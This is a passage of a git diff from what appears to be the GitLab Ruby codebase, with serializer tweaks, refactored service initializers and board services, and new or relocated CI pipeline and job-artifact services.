expose :detailed_status, as: :status, with: DetailedStatusEntity do |pipeline|
@@ -36,6 +36,8 @@ class MergeRequests::PipelineEntity < Grape::Entity
end
expose :stages, using: StageEntity
+
+ expose :finished_at
end
# Coverage isn't always necessary (e.g. when displaying project pipelines in
diff --git a/app/serializers/note_entity.rb b/app/serializers/note_entity.rb
index 9a96778786b..d44958bc0c4 100644
--- a/app/serializers/note_entity.rb
+++ b/app/serializers/note_entity.rb
@@ -36,7 +36,8 @@ class NoteEntity < API::Entities::Note
end
expose :can_resolve_discussion do |note|
- note.discussion.resolvable? && note.discussion.can_resolve?(current_user)
+ discussion = options.fetch(:discussion, nil) || note.discussion
+ discussion.resolvable? && discussion.can_resolve?(current_user)
end
end
diff --git a/app/serializers/pipeline_details_entity.rb b/app/serializers/pipeline_details_entity.rb
index 4fec543eca8..bb6aa2f78ac 100644
--- a/app/serializers/pipeline_details_entity.rb
+++ b/app/serializers/pipeline_details_entity.rb
@@ -15,7 +15,7 @@ class PipelineDetailsEntity < Ci::PipelineEntity
rel = rel.select { |artifact| can?(request.current_user, :read_job_artifacts, artifact.job) }
end
- BuildArtifactEntity.represent(rel, options)
+ BuildArtifactEntity.represent(rel, options.merge(project: pipeline.project))
end
expose :manual_actions, using: BuildActionEntity
expose :scheduled_actions, using: BuildActionEntity
diff --git a/app/serializers/pipeline_serializer.rb b/app/serializers/pipeline_serializer.rb
index 85887e64a8b..9a2e29a6ee3 100644
--- a/app/serializers/pipeline_serializer.rb
+++ b/app/serializers/pipeline_serializer.rb
@@ -41,7 +41,6 @@ class PipelineSerializer < BaseSerializer
def preloaded_relations
[
:cancelable_statuses,
- :latest_statuses_ordered_by_stage,
:retryable_builds,
:stages,
:latest_statuses,
diff --git a/app/serializers/runner_entity.rb b/app/serializers/runner_entity.rb
index 97e5b336a35..6d6ba920a3b 100644
--- a/app/serializers/runner_entity.rb
+++ b/app/serializers/runner_entity.rb
@@ -3,7 +3,7 @@
class RunnerEntity < Grape::Entity
include RequestAwareEntity
- expose :id, :description
+ expose :id, :description, :short_sha
expose :edit_path, if: -> (*) { can_edit_runner? } do |runner|
edit_project_runner_path(project, runner)
diff --git a/app/serializers/service_field_entity.rb b/app/serializers/service_field_entity.rb
index 08e08ae187f..960e216906e 100644
--- a/app/serializers/service_field_entity.rb
+++ b/app/serializers/service_field_entity.rb
@@ -2,14 +2,22 @@
class ServiceFieldEntity < Grape::Entity
include RequestAwareEntity
+ include Gitlab::Utils::StrongMemoize
- expose :type, :name, :title, :placeholder, :required, :choices, :help
+ expose :type, :name, :placeholder, :required, :choices
+
+ expose :title do |field|
+ non_empty_password?(field) ? field[:non_empty_password_title] : field[:title]
+ end
+
+ expose :help do |field|
+ non_empty_password?(field) ? field[:non_empty_password_help] : field[:help]
+ end
expose :value do |field|
- # field[:name] is not user input and so can assume is safe
- value = service.public_send(field[:name]) # rubocop:disable GitlabSecurity/PublicSend
+ value = value_for(field)
- if field[:type] == 'password' && value.present?
+ if non_empty_password?(field)
'true'
elsif field[:type] == 'checkbox'
ActiveRecord::Type::Boolean.new.deserialize(value).to_s
@@ -23,4 +31,17 @@ class ServiceFieldEntity < Grape::Entity
def service
request.service
end
+
+ def value_for(field)
+ strong_memoize(:value_for) do
+ # field[:name] is not user input and so can assume is safe
+ service.public_send(field[:name]) # rubocop:disable GitlabSecurity/PublicSend
+ end
+ end
+
+ def non_empty_password?(field)
+ strong_memoize(:non_empty_password) do
+ field[:type] == 'password' && value_for(field).present?
+ end
+ end
end
diff --git a/app/services/application_settings/base_service.rb b/app/services/application_settings/base_service.rb
index ebe067536ca..0929b30b7e9 100644
--- a/app/services/application_settings/base_service.rb
+++ b/app/services/application_settings/base_service.rb
@@ -3,7 +3,9 @@
module ApplicationSettings
class BaseService < ::BaseService
def initialize(application_setting, user, params = {})
- @application_setting, @current_user, @params = application_setting, user, params.dup
+ @application_setting = application_setting
+ @current_user = user
+ @params = params.dup
end
end
end
diff --git a/app/services/authorized_project_update/find_records_due_for_refresh_service.rb b/app/services/authorized_project_update/find_records_due_for_refresh_service.rb
new file mode 100644
index 00000000000..c4b18a26d0e
--- /dev/null
+++ b/app/services/authorized_project_update/find_records_due_for_refresh_service.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+module AuthorizedProjectUpdate
+ # Service for finding the authorized_projects records of a user that needs addition or removal.
+ #
+ # Usage:
+ #
+ # user = User.find_by(username: 'alice')
+ # service = AuthorizedProjectUpdate::FindRecordsDueForRefreshService.new(some_user)
+ # service.execute
+ class FindRecordsDueForRefreshService
+ def initialize(user, source: nil, incorrect_auth_found_callback: nil, missing_auth_found_callback: nil)
+ @user = user
+ @source = source
+ @incorrect_auth_found_callback = incorrect_auth_found_callback
+ @missing_auth_found_callback = missing_auth_found_callback
+ end
+
+ def execute
+ current = current_authorizations_per_project
+ fresh = fresh_access_levels_per_project
+
+ # Projects that have more than one authorizations associated with
+ # the user needs to be deleted.
+ # The correct authorization is added to the ``add`` array in the
+ # next stage.
+ remove = projects_with_duplicates
+ current.except!(*projects_with_duplicates)
+
+ remove |= current.each_with_object([]) do |(project_id, row), array|
+ # rows not in the new list or with a different access level should be
+ # removed.
+ if !fresh[project_id] || fresh[project_id] != row.access_level
+ if incorrect_auth_found_callback
+ incorrect_auth_found_callback.call(project_id, row.access_level)
+ end
+
+ array << row.project_id
+ end
+ end
+
+ add = fresh.each_with_object([]) do |(project_id, level), array|
+ # rows not in the old list or with a different access level should be
+ # added.
+ if !current[project_id] || current[project_id].access_level != level
+ if missing_auth_found_callback
+ missing_auth_found_callback.call(project_id, level)
+ end
+
+ array << [user.id, project_id, level]
+ end
+ end
+
+ [remove, add]
+ end
+
+ def needs_refresh?
+ remove, add = execute
+
+ remove.present? || add.present?
+ end
+
+ def fresh_access_levels_per_project
+ fresh_authorizations.each_with_object({}) do |row, hash|
+ hash[row.project_id] = row.access_level
+ end
+ end
+
+ def current_authorizations_per_project
+ current_authorizations.index_by(&:project_id)
+ end
+
+ def current_authorizations
+ @current_authorizations ||= user.project_authorizations.select(:project_id, :access_level)
+ end
+
+ def fresh_authorizations
+ Gitlab::ProjectAuthorizations.new(user).calculate
+ end
+
+ private
+
+ attr_reader :user, :source, :incorrect_auth_found_callback, :missing_auth_found_callback
+
+ def projects_with_duplicates
+ @projects_with_duplicates ||= current_authorizations
+ .group_by(&:project_id)
+ .select { |project_id, authorizations| authorizations.count > 1 }
+ .keys
+ end
+ end
+end
diff --git a/app/services/base_container_service.rb b/app/services/base_container_service.rb
index 56e4b8c908c..6852237dc25 100644
--- a/app/services/base_container_service.rb
+++ b/app/services/base_container_service.rb
@@ -7,6 +7,8 @@ class BaseContainerService
attr_reader :container, :current_user, :params
def initialize(container:, current_user: nil, params: {})
- @container, @current_user, @params = container, current_user, params.dup
+ @container = container
+ @current_user = current_user
+ @params = params.dup
end
end
diff --git a/app/services/base_service.rb b/app/services/base_service.rb
index b4c4b6980a8..20dfeb67815 100644
--- a/app/services/base_service.rb
+++ b/app/services/base_service.rb
@@ -15,7 +15,9 @@ class BaseService
attr_accessor :project, :current_user, :params
def initialize(project, user = nil, params = {})
- @project, @current_user, @params = project, user, params.dup
+ @project = project
+ @current_user = user
+ @params = params.dup
end
delegate :repository, to: :project
diff --git a/app/services/boards/base_item_move_service.rb b/app/services/boards/base_item_move_service.rb
index bf3e29df54b..28fb1e43043 100644
--- a/app/services/boards/base_item_move_service.rb
+++ b/app/services/boards/base_item_move_service.rb
@@ -22,6 +22,12 @@ module Boards
)
end
+ reposition_ids = move_between_ids(params)
+ if reposition_ids
+ attrs[:move_between_ids] = reposition_ids
+ attrs.merge!(reposition_parent)
+ end
+
attrs
end
@@ -63,10 +69,22 @@ module Boards
if moving_to_list.movable?
moving_from_list.label_id
else
- ::Label.ids_on_board(board.id)
+ board_label_ids
end
Array(label_ids).compact
end
+
+ def board_label_ids
+ ::Label.ids_on_board(board.id)
+ end
+
+ def move_between_ids(move_params)
+ ids = [move_params[:move_after_id], move_params[:move_before_id]]
+ .map(&:to_i)
+ .map { |m| m > 0 ? m : nil }
+
+ ids.any? ? ids : nil
+ end
end
end
diff --git a/app/services/boards/base_service.rb b/app/services/boards/base_service.rb
index 439a5c06223..83bb69b3822 100644
--- a/app/services/boards/base_service.rb
+++ b/app/services/boards/base_service.rb
@@ -6,7 +6,9 @@ module Boards
attr_accessor :parent, :current_user, :params
def initialize(parent, user, params = {})
- @parent, @current_user, @params = parent, user, params.dup
+ @parent = parent
+ @current_user = user
+ @params = params.dup
end
end
end
diff --git a/app/services/boards/destroy_service.rb b/app/services/boards/destroy_service.rb
index 8f3d4b58b7b..0b1cd61b119 100644
--- a/app/services/boards/destroy_service.rb
+++ b/app/services/boards/destroy_service.rb
@@ -3,7 +3,7 @@
module Boards
class DestroyService < Boards::BaseService
def execute(board)
- if parent.boards.size == 1
+ if boards.size == 1
return ServiceResponse.error(message: "The board could not be deleted, because the parent doesn't have any other boards.")
end
@@ -11,5 +11,11 @@ module Boards
ServiceResponse.success
end
+
+ private
+
+ def boards
+ parent.boards
+ end
end
end
diff --git a/app/services/boards/issues/move_service.rb b/app/services/boards/issues/move_service.rb
index 99374fa01ae..76ea57968b2 100644
--- a/app/services/boards/issues/move_service.rb
+++ b/app/services/boards/issues/move_service.rb
@@ -3,8 +3,6 @@
module Boards
module Issues
class MoveService < Boards::BaseItemMoveService
- extend ::Gitlab::Utils::Override
-
def execute_multiple(issues)
return execute_multiple_empty_result if issues.empty?
@@ -57,25 +55,8 @@ module Boards
::Issues::UpdateService.new(issue.project, current_user, issue_modification_params).execute(issue)
end
- override :issuable_params
- def issuable_params(issuable)
- attrs = super
-
- move_between_ids = move_between_ids(params)
- if move_between_ids
- attrs[:move_between_ids] = move_between_ids
- attrs[:board_group_id] = board.group&.id
- end
-
- attrs
- end
-
- def move_between_ids(move_params)
- ids = [move_params[:move_after_id], move_params[:move_before_id]]
- .map(&:to_i)
- .map { |m| m > 0 ? m : nil }
-
- ids.any? ? ids : nil
+ def reposition_parent
+ { board_group_id: board.group&.id }
end
end
end
diff --git a/app/services/boards/lists/base_update_service.rb b/app/services/boards/lists/base_update_service.rb
new file mode 100644
index 00000000000..faf58e405fc
--- /dev/null
+++ b/app/services/boards/lists/base_update_service.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+module Boards
+ module Lists
+ class BaseUpdateService < Boards::BaseService
+ def execute(list)
+ if execute_by_params(list)
+ success(list: list)
+ else
+ error(list.errors.messages, 422)
+ end
+ end
+
+ private
+
+ def execute_by_params(list)
+ update_preferences_result = update_preferences(list) if can_read?(list)
+ update_position_result = update_position(list) if can_admin?(list)
+
+ update_preferences_result || update_position_result
+ end
+
+ def update_preferences(list)
+ return unless preferences?
+
+ list.update_preferences_for(current_user, preferences)
+ end
+
+ def update_position(list)
+ return unless position?
+
+ move_service = Boards::Lists::MoveService.new(parent, current_user, params)
+
+ move_service.execute(list)
+ end
+
+ def preferences
+ { collapsed: Gitlab::Utils.to_boolean(params[:collapsed]) }
+ end
+
+ def preferences?
+ params.has_key?(:collapsed)
+ end
+
+ def position?
+ params.has_key?(:position)
+ end
+
+ def can_read?(list)
+ raise NotImplementedError
+ end
+
+ def can_admin?(list)
+ raise NotImplementedError
+ end
+ end
+ end
+end
diff --git a/app/services/boards/lists/list_service.rb b/app/services/boards/lists/list_service.rb
index 3c296cde51e..03d54a8c74c 100644
--- a/app/services/boards/lists/list_service.rb
+++ b/app/services/boards/lists/list_service.rb
@@ -23,12 +23,10 @@ module Boards
end
def hidden_lists_for(board)
- hidden = []
-
- hidden << ::List.list_types[:backlog] if board.hide_backlog_list
- hidden << ::List.list_types[:closed] if board.hide_closed_list
-
- hidden
+ [].tap do |hidden|
+ hidden << ::List.list_types[:backlog] if board.hide_backlog_list?
+ hidden << ::List.list_types[:closed] if board.hide_closed_list?
+ end
end
end
end
diff --git a/app/services/boards/lists/update_service.rb b/app/services/boards/lists/update_service.rb
index e2d9c371ca2..2e1a6592cd9 100644
--- a/app/services/boards/lists/update_service.rb
+++ b/app/services/boards/lists/update_service.rb
@@ -2,50 +2,7 @@
module Boards
module Lists
- class UpdateService < Boards::BaseService
- def execute(list)
- if execute_by_params(list)
- success(list: list)
- else
- error(list.errors.messages, 422)
- end
- end
-
- private
-
- def execute_by_params(list)
- update_preferences_result = update_preferences(list) if can_read?(list)
- update_position_result = update_position(list) if can_admin?(list)
-
- update_preferences_result || update_position_result
- end
-
- def update_preferences(list)
- return unless preferences?
-
- list.update_preferences_for(current_user, preferences)
- end
-
- def update_position(list)
- return unless position?
-
- move_service = Boards::Lists::MoveService.new(parent, current_user, params)
-
- move_service.execute(list)
- end
-
- def preferences
- { collapsed: Gitlab::Utils.to_boolean(params[:collapsed]) }
- end
-
- def preferences?
- params.has_key?(:collapsed)
- end
-
- def position?
- params.has_key?(:position)
- end
-
+ class UpdateService < Boards::Lists::BaseUpdateService
def can_read?(list)
Ability.allowed?(current_user, :read_issue_board_list, parent)
end
diff --git a/app/services/ci/abort_pipelines_service.rb b/app/services/ci/abort_pipelines_service.rb
new file mode 100644
index 00000000000..43734c4dd39
--- /dev/null
+++ b/app/services/ci/abort_pipelines_service.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module Ci
+ class AbortPipelinesService
+ # NOTE: This call fails pipelines in bulk without running callbacks.
+ # Only for pipeline abandonment scenarios (examples: project delete)
+ def execute(pipelines, failure_reason)
+ pipelines.cancelable.each_batch(of: 100) do |pipeline_batch|
+ now = Time.current
+
+ basic_attributes = { status: :failed }
+ all_attributes = basic_attributes.merge(failure_reason: failure_reason, finished_at: now)
+
+ bulk_fail_for(Ci::Stage, pipeline_batch, basic_attributes)
+ bulk_fail_for(CommitStatus, pipeline_batch, all_attributes)
+
+ pipeline_batch.update_all(all_attributes)
+ end
+
+ ServiceResponse.success(message: 'Pipelines stopped')
+ end
+
+ private
+
+ def bulk_fail_for(klass, pipelines, attributes)
+ klass.in_pipelines(pipelines)
+ .cancelable
+ .in_batches(of: 150) # rubocop:disable Cop/InBatches
+ .update_all(attributes)
+ end
+ end
+end
diff --git a/app/services/ci/abort_project_pipelines_service.rb b/app/services/ci/abort_project_pipelines_service.rb
deleted file mode 100644
index 0b2fa9ed3c0..00000000000
--- a/app/services/ci/abort_project_pipelines_service.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- class AbortProjectPipelinesService
- # Danger: Cancels in bulk without callbacks
- # Only for pipeline abandonment scenarios (current example: project delete)
- def execute(project)
- return unless Feature.enabled?(:abort_deleted_project_pipelines, default_enabled: :yaml)
-
- pipelines = project.all_pipelines.cancelable
- bulk_abort!(pipelines, status: :canceled)
-
- ServiceResponse.success(message: 'Pipelines canceled')
- end
-
- private
-
- def bulk_abort!(pipelines, status:)
- pipelines.each_batch do |pipeline_batch|
- CommitStatus.in_pipelines(pipeline_batch).in_batches.update_all(status: status) # rubocop: disable Cop/InBatches
- pipeline_batch.update_all(status: status)
- end
- end
- end
-end
diff --git a/app/services/ci/after_requeue_job_service.rb b/app/services/ci/after_requeue_job_service.rb
new file mode 100644
index 00000000000..3858ee9d550
--- /dev/null
+++ b/app/services/ci/after_requeue_job_service.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Ci
+ class AfterRequeueJobService < ::BaseService
+ def execute(processable)
+ process_subsequent_jobs(processable)
+ reset_ancestor_bridges(processable)
+ end
+
+ private
+
+ def process_subsequent_jobs(processable)
+ processable.pipeline.processables.skipped.after_stage(processable.stage_idx).find_each do |processable|
+ process(processable)
+ end
+ end
+
+ def reset_ancestor_bridges(processable)
+ processable.pipeline.reset_ancestor_bridges!
+ end
+
+ def process(processable)
+ Gitlab::OptimisticLocking.retry_lock(processable, name: 'ci_requeue_job') do |processable|
+ processable.process(current_user)
+ end
+ end
+ end
+end
diff --git a/app/services/ci/cancel_user_pipelines_service.rb b/app/services/ci/cancel_user_pipelines_service.rb
deleted file mode 100644
index 3d3a8032e8e..00000000000
--- a/app/services/ci/cancel_user_pipelines_service.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- class CancelUserPipelinesService
- # rubocop: disable CodeReuse/ActiveRecord
- # This is a bug with CodeReuse/ActiveRecord cop
- # https://gitlab.com/gitlab-org/gitlab/issues/32332
- def execute(user)
- # TODO: fix N+1 queries https://gitlab.com/gitlab-org/gitlab/-/issues/300685
- user.pipelines.cancelable.find_each(&:cancel_running)
-
- ServiceResponse.success(message: 'Pipeline canceled')
- rescue ActiveRecord::StaleObjectError
- ServiceResponse.error(message: 'Error canceling pipeline')
- end
- # rubocop: enable CodeReuse/ActiveRecord
- end
-end
diff --git a/app/services/ci/create_job_artifacts_service.rb b/app/services/ci/create_job_artifacts_service.rb
deleted file mode 100644
index f1fdc8e2490..00000000000
--- a/app/services/ci/create_job_artifacts_service.rb
+++ /dev/null
@@ -1,172 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- class CreateJobArtifactsService < ::BaseService
- include Gitlab::Utils::UsageData
-
- ArtifactsExistError = Class.new(StandardError)
-
- LSIF_ARTIFACT_TYPE = 'lsif'
- METRICS_REPORT_UPLOAD_EVENT_NAME = 'i_testing_metrics_report_artifact_uploaders'
-
- OBJECT_STORAGE_ERRORS = [
- Errno::EIO,
- Google::Apis::ServerError,
- Signet::RemoteServerError
- ].freeze
-
- def initialize(job)
- @job = job
- @project = job.project
- end
-
- def authorize(artifact_type:, filesize: nil)
- result = validate_requirements(artifact_type: artifact_type, filesize: filesize)
- return result unless result[:status] == :success
-
- headers = JobArtifactUploader.workhorse_authorize(has_length: false, maximum_size: max_size(artifact_type))
-
- if lsif?(artifact_type)
- headers[:ProcessLsif] = true
- track_usage_event('i_source_code_code_intelligence', project.id)
- end
-
- success(headers: headers)
- end
-
- def execute(artifacts_file, params, metadata_file: nil)
- result = validate_requirements(artifact_type: params[:artifact_type], filesize: artifacts_file.size)
- return result unless result[:status] == :success
-
- return success if sha256_matches_existing_artifact?(params[:artifact_type], artifacts_file)
-
- artifact, artifact_metadata = build_artifact(artifacts_file, params, metadata_file)
- result = parse_artifact(artifact)
-
- track_artifact_uploader(artifact)
-
- return result unless result[:status] == :success
-
- persist_artifact(artifact, artifact_metadata, params)
- end
-
- private
-
- attr_reader :job, :project
-
- def validate_requirements(artifact_type:, filesize:)
- return too_large_error if too_large?(artifact_type, filesize)
-
- success
- end
-
- def too_large?(type, size)
- size > max_size(type) if size
- end
-
- def lsif?(type)
- type == LSIF_ARTIFACT_TYPE
- end
-
- def max_size(type)
- Ci::JobArtifact.max_artifact_size(type: type, project: project)
- end
-
- def forbidden_type_error(type)
- error("#{type} artifacts are forbidden", :forbidden)
- end
-
- def too_large_error
- error('file size has reached maximum size limit', :payload_too_large)
- end
-
- def build_artifact(artifacts_file, params, metadata_file)
- expire_in = params['expire_in'] ||
- Gitlab::CurrentSettings.current_application_settings.default_artifacts_expire_in
-
- artifact = Ci::JobArtifact.new(
- job_id: job.id,
- project: project,
- file: artifacts_file,
- file_type: params[:artifact_type],
- file_format: params[:artifact_format],
- file_sha256: artifacts_file.sha256,
- expire_in: expire_in)
-
- artifact_metadata = if metadata_file
- Ci::JobArtifact.new(
- job_id: job.id,
- project: project,
- file: metadata_file,
- file_type: :metadata,
- file_format: :gzip,
- file_sha256: metadata_file.sha256,
- expire_in: expire_in)
- end
-
- [artifact, artifact_metadata]
- end
-
- def parse_artifact(artifact)
- unless Feature.enabled?(:ci_synchronous_artifact_parsing, project, default_enabled: true)
- return success
- end
-
- case artifact.file_type
- when 'dotenv' then parse_dotenv_artifact(artifact)
- when 'cluster_applications' then parse_cluster_applications_artifact(artifact)
- else success
- end
- end
-
- def persist_artifact(artifact, artifact_metadata, params)
- Ci::JobArtifact.transaction do
- artifact.save!
- artifact_metadata&.save!
-
- # NOTE: The `artifacts_expire_at` column is already deprecated and to be removed in the near future.
- job.update_column(:artifacts_expire_at, artifact.expire_at)
- end
-
- success
- rescue ActiveRecord::RecordNotUnique => error
- track_exception(error, params)
- error('another artifact of the same type already exists', :bad_request)
- rescue *OBJECT_STORAGE_ERRORS => error
- track_exception(error, params)
- error(error.message, :service_unavailable)
- rescue => error
- track_exception(error, params)
- error(error.message, :bad_request)
- end
-
- def sha256_matches_existing_artifact?(artifact_type, artifacts_file)
- existing_artifact = job.job_artifacts.find_by_file_type(artifact_type)
- return false unless existing_artifact
-
- existing_artifact.file_sha256 == artifacts_file.sha256
- end
-
- def track_exception(error, params)
- Gitlab::ErrorTracking.track_exception(error,
- job_id: job.id,
- project_id: job.project_id,
- uploading_type: params[:artifact_type]
- )
- end
-
- def track_artifact_uploader(artifact)
- return unless artifact.file_type == 'metrics'
-
- track_usage_event(METRICS_REPORT_UPLOAD_EVENT_NAME, @job.user_id)
- end
-
- def parse_dotenv_artifact(artifact)
- Ci::ParseDotenvArtifactService.new(project, current_user).execute(artifact)
- end
-
- def parse_cluster_applications_artifact(artifact)
- Clusters::ParseClusterApplicationsArtifactService.new(job, job.user).execute(artifact)
- end
- end
-end
diff --git a/app/services/ci/create_pipeline_service.rb b/app/services/ci/create_pipeline_service.rb
index 0fd47e625fd..ca936307acc 100644
--- a/app/services/ci/create_pipeline_service.rb
+++ b/app/services/ci/create_pipeline_service.rb
@@ -96,7 +96,8 @@ module Ci
# rubocop: enable Metrics/ParameterLists
def execute!(*args, &block)
- source, params = args[0], Hash(args[1])
+ source = args[0]
+ params = Hash(args[1])
execute(source, **params, &block).tap do |pipeline|
unless pipeline.persisted?
diff --git a/app/services/ci/create_web_ide_terminal_service.rb b/app/services/ci/create_web_ide_terminal_service.rb
index 785d82094b9..3b89a599180 100644
--- a/app/services/ci/create_web_ide_terminal_service.rb
+++ b/app/services/ci/create_web_ide_terminal_service.rb
@@ -58,7 +58,8 @@ module Ci
builds: [terminal_build_seed]
}
- Gitlab::Ci::Pipeline::Seed::Stage.new(pipeline, attributes, [])
+ seed_context = Gitlab::Ci::Pipeline::Seed::Context.new(pipeline)
+ Gitlab::Ci::Pipeline::Seed::Stage.new(seed_context, attributes, [])
end
def terminal_build_seed
diff --git a/app/services/ci/destroy_expired_job_artifacts_service.rb b/app/services/ci/destroy_expired_job_artifacts_service.rb
deleted file mode 100644
index d91cfb3cc82..00000000000
--- a/app/services/ci/destroy_expired_job_artifacts_service.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- class DestroyExpiredJobArtifactsService
- include ::Gitlab::ExclusiveLeaseHelpers
- include ::Gitlab::LoopHelpers
-
- BATCH_SIZE = 100
- LOOP_TIMEOUT = 5.minutes
- LOOP_LIMIT = 1000
- EXCLUSIVE_LOCK_KEY = 'expired_job_artifacts:destroy:lock'
- LOCK_TIMEOUT = 6.minutes
-
- def initialize
- @removed_artifacts_count = 0
- end
-
- ##
- # Destroy expired job artifacts on GitLab instance
- #
- # This destroy process cannot run for more than 6 minutes. This is for
- # preventing multiple `ExpireBuildArtifactsWorker` CRON jobs run concurrently,
- # which is scheduled every 7 minutes.
- def execute
- in_lock(EXCLUSIVE_LOCK_KEY, ttl: LOCK_TIMEOUT, retries: 1) do
- destroy_job_artifacts_with_slow_iteration(Time.current)
- end
-
- @removed_artifacts_count
- end
-
- private
-
- def destroy_job_artifacts_with_slow_iteration(start_at)
- Ci::JobArtifact.expired_before(start_at).each_batch(of: BATCH_SIZE, column: :expire_at, order: :desc) do |relation, index|
- # For performance reasons, join with ci_pipelines after the batch is queried.
- # See: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47496
- artifacts = relation.unlocked
-
- service_response = destroy_batch_async(artifacts)
- @removed_artifacts_count += service_response[:destroyed_artifacts_count]
-
- break if loop_timeout?(start_at)
- break if index >= LOOP_LIMIT
- end
- end
-
- def destroy_batch_async(artifacts)
- Ci::JobArtifactsDestroyBatchService.new(artifacts).execute
- end
-
- def loop_timeout?(start_at)
- Time.current > start_at + LOOP_TIMEOUT
- end
- end
-end
diff --git a/app/services/ci/disable_user_pipeline_schedules_service.rb b/app/services/ci/disable_user_pipeline_schedules_service.rb
new file mode 100644
index 00000000000..6499fbba0ec
--- /dev/null
+++ b/app/services/ci/disable_user_pipeline_schedules_service.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Ci
+ class DisableUserPipelineSchedulesService
+ def execute(user)
+ Ci::PipelineSchedule.active.owned_by(user).each_batch do |relation|
+ relation.update_all(active: false)
+ end
+ end
+ end
+end
diff --git a/app/services/ci/drop_pipeline_service.rb b/app/services/ci/drop_pipeline_service.rb
new file mode 100644
index 00000000000..f510943251b
--- /dev/null
+++ b/app/services/ci/drop_pipeline_service.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Ci
+ class DropPipelineService
+ # execute service asynchronously for each cancelable pipeline
+ def execute_async_for_all(pipelines, failure_reason, context_user)
+ pipelines.cancelable.select(:id).find_in_batches do |pipelines_batch|
+ Ci::DropPipelineWorker.bulk_perform_async_with_contexts(
+ pipelines_batch,
+ arguments_proc: -> (pipeline) { [pipeline.id, failure_reason] },
+ context_proc: -> (_) { { user: context_user } }
+ )
+ end
+ end
+
+ def execute(pipeline, failure_reason, retries: 3)
+ Gitlab::OptimisticLocking.retry_lock(pipeline.cancelable_statuses, retries, name: 'ci_pipeline_drop_running') do |cancelables|
+ cancelables.find_in_batches do |batch|
+ preload_associations_for_drop(batch)
+
+ batch.each do |job|
+ job.drop(failure_reason)
+ end
+ end
+ end
+ end
+
+ private
+
+ def preload_associations_for_drop(builds_batch)
+ ActiveRecord::Associations::Preloader.new.preload( # rubocop: disable CodeReuse/ActiveRecord
+ builds_batch,
+ [:project, :pipeline, :metadata, :deployment, :taggings]
+ )
+ end
+ end
+end
diff --git a/app/services/ci/generate_coverage_reports_service.rb b/app/services/ci/generate_coverage_reports_service.rb
index b3aa7b3091b..4e6fbc5462a 100644
--- a/app/services/ci/generate_coverage_reports_service.rb
+++ b/app/services/ci/generate_coverage_reports_service.rb
@@ -15,7 +15,13 @@ module Ci
data: head_pipeline.pipeline_artifacts.find_by_file_type(:code_coverage).present.for_files(merge_request.new_paths)
}
rescue => e
- Gitlab::ErrorTracking.track_exception(e, project_id: project.id)
+ Gitlab::ErrorTracking.track_exception(
+ e,
+ project_id: project.id,
+ base_pipeline_id: base_pipeline&.id,
+ head_pipeline_id: head_pipeline&.id
+ )
+
{
status: :error,
key: key(base_pipeline, head_pipeline),
diff --git a/app/services/ci/job_artifacts/create_service.rb b/app/services/ci/job_artifacts/create_service.rb
new file mode 100644
index 00000000000..65752e56c64
--- /dev/null
+++ b/app/services/ci/job_artifacts/create_service.rb
@@ -0,0 +1,174 @@
+# frozen_string_literal: true
+
+module Ci
+ module JobArtifacts
+ class CreateService < ::BaseService
+ include Gitlab::Utils::UsageData
+
+ ArtifactsExistError = Class.new(StandardError)
+
+ LSIF_ARTIFACT_TYPE = 'lsif'
+ METRICS_REPORT_UPLOAD_EVENT_NAME = 'i_testing_metrics_report_artifact_uploaders'
+
+ OBJECT_STORAGE_ERRORS = [
+ Errno::EIO,
+ Google::Apis::ServerError,
+ Signet::RemoteServerError
+ ].freeze
+
+ def initialize(job)
+ @job = job
+ @project = job.project
+ end
+
+ def authorize(artifact_type:, filesize: nil)
+ result = validate_requirements(artifact_type: artifact_type, filesize: filesize)
+ return result unless result[:status] == :success
+
+ headers = JobArtifactUploader.workhorse_authorize(has_length: false, maximum_size: max_size(artifact_type))
+
+ if lsif?(artifact_type)
+ headers[:ProcessLsif] = true
+ track_usage_event('i_source_code_code_intelligence', project.id)
+ end
+
+ success(headers: headers)
+ end
+
+ def execute(artifacts_file, params, metadata_file: nil)
+ result = validate_requirements(artifact_type: params[:artifact_type], filesize: artifacts_file.size)
+ return result unless result[:status] == :success
+
+ return success if sha256_matches_existing_artifact?(params[:artifact_type], artifacts_file)
+
+ artifact, artifact_metadata = build_artifact(artifacts_file, params, metadata_file)
+ result = parse_artifact(artifact)
+
+ track_artifact_uploader(artifact)
+
+ return result unless result[:status] == :success
+
+ persist_artifact(artifact, artifact_metadata, params)
+ end
+
+ private
+
+ attr_reader :job, :project
+
+ def validate_requirements(artifact_type:, filesize:)
+ return too_large_error if too_large?(artifact_type, filesize)
+
+ success
+ end
+
+ def too_large?(type, size)
+ size > max_size(type) if size
+ end
+
+ def lsif?(type)
+ type == LSIF_ARTIFACT_TYPE
+ end
+
+ def max_size(type)
+ Ci::JobArtifact.max_artifact_size(type: type, project: project)
+ end
+
+ def forbidden_type_error(type)
+ error("#{type} artifacts are forbidden", :forbidden)
+ end
+
+ def too_large_error
+ error('file size has reached maximum size limit', :payload_too_large)
+ end
+
+ def build_artifact(artifacts_file, params, metadata_file)
+ expire_in = params['expire_in'] ||
+ Gitlab::CurrentSettings.current_application_settings.default_artifacts_expire_in
+
+ artifact = Ci::JobArtifact.new(
+ job_id: job.id,
+ project: project,
+ file: artifacts_file,
+ file_type: params[:artifact_type],
+ file_format: params[:artifact_format],
+ file_sha256: artifacts_file.sha256,
+ expire_in: expire_in)
+
+ artifact_metadata = if metadata_file
+ Ci::JobArtifact.new(
+ job_id: job.id,
+ project: project,
+ file: metadata_file,
+ file_type: :metadata,
+ file_format: :gzip,
+ file_sha256: metadata_file.sha256,
+ expire_in: expire_in)
+ end
+
+ [artifact, artifact_metadata]
+ end
+
+ def parse_artifact(artifact)
+ unless Feature.enabled?(:ci_synchronous_artifact_parsing, project, default_enabled: true)
+ return success
+ end
+
+ case artifact.file_type
+ when 'dotenv' then parse_dotenv_artifact(artifact)
+ when 'cluster_applications' then parse_cluster_applications_artifact(artifact)
+ else success
+ end
